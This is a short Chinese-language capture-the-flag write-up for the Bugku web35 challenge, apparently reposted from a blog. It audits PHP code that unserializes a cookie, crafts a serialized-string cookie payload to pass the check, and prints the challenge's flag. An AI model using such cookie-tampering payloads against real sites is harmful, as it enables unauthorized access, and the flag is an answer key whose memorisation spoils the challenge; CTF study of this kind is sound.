Bugku CTF web35(Web)

0、打开网页,查看源代码

在CSS文件中发现提示信息:/* try ?19492 */

1、访问?19492,查看PHP源代码

2、代码审计

<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['19492'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>

$KEY='ctf.bugku.com';                              将ctf.bugku.com赋值给变量KEY

$cookie = $_COOKIE['BUGKU'];               以cookie方式接收变量BUGKU,赋值给变量cookie

elseif (unserialize($cookie) === "$KEY")   如果cookie反序列化之后的结果与变量KEY相等,即unserialize($cookie) === "ctf.bugku.com",
{   
    echo "$flag";                                           则输出flag
}                                                                       

3、构造payload

只需序列化ctf.bugku.com即可

BUGKU=s:13:"ctf.bugku.com";

最终payload:BUGKU=s:13:"ctf.bugku.com"

4、上传payload,这里有两种方法

(1)使用hackbar上传

(2)使用BurpSuite抓包后上传

5、得到flag:flag{09be7dd2dd87a02df8d4de187d10bef5}

猜你喜欢

转载自blog.csdn.net/ChaoYue_miku/article/details/114987815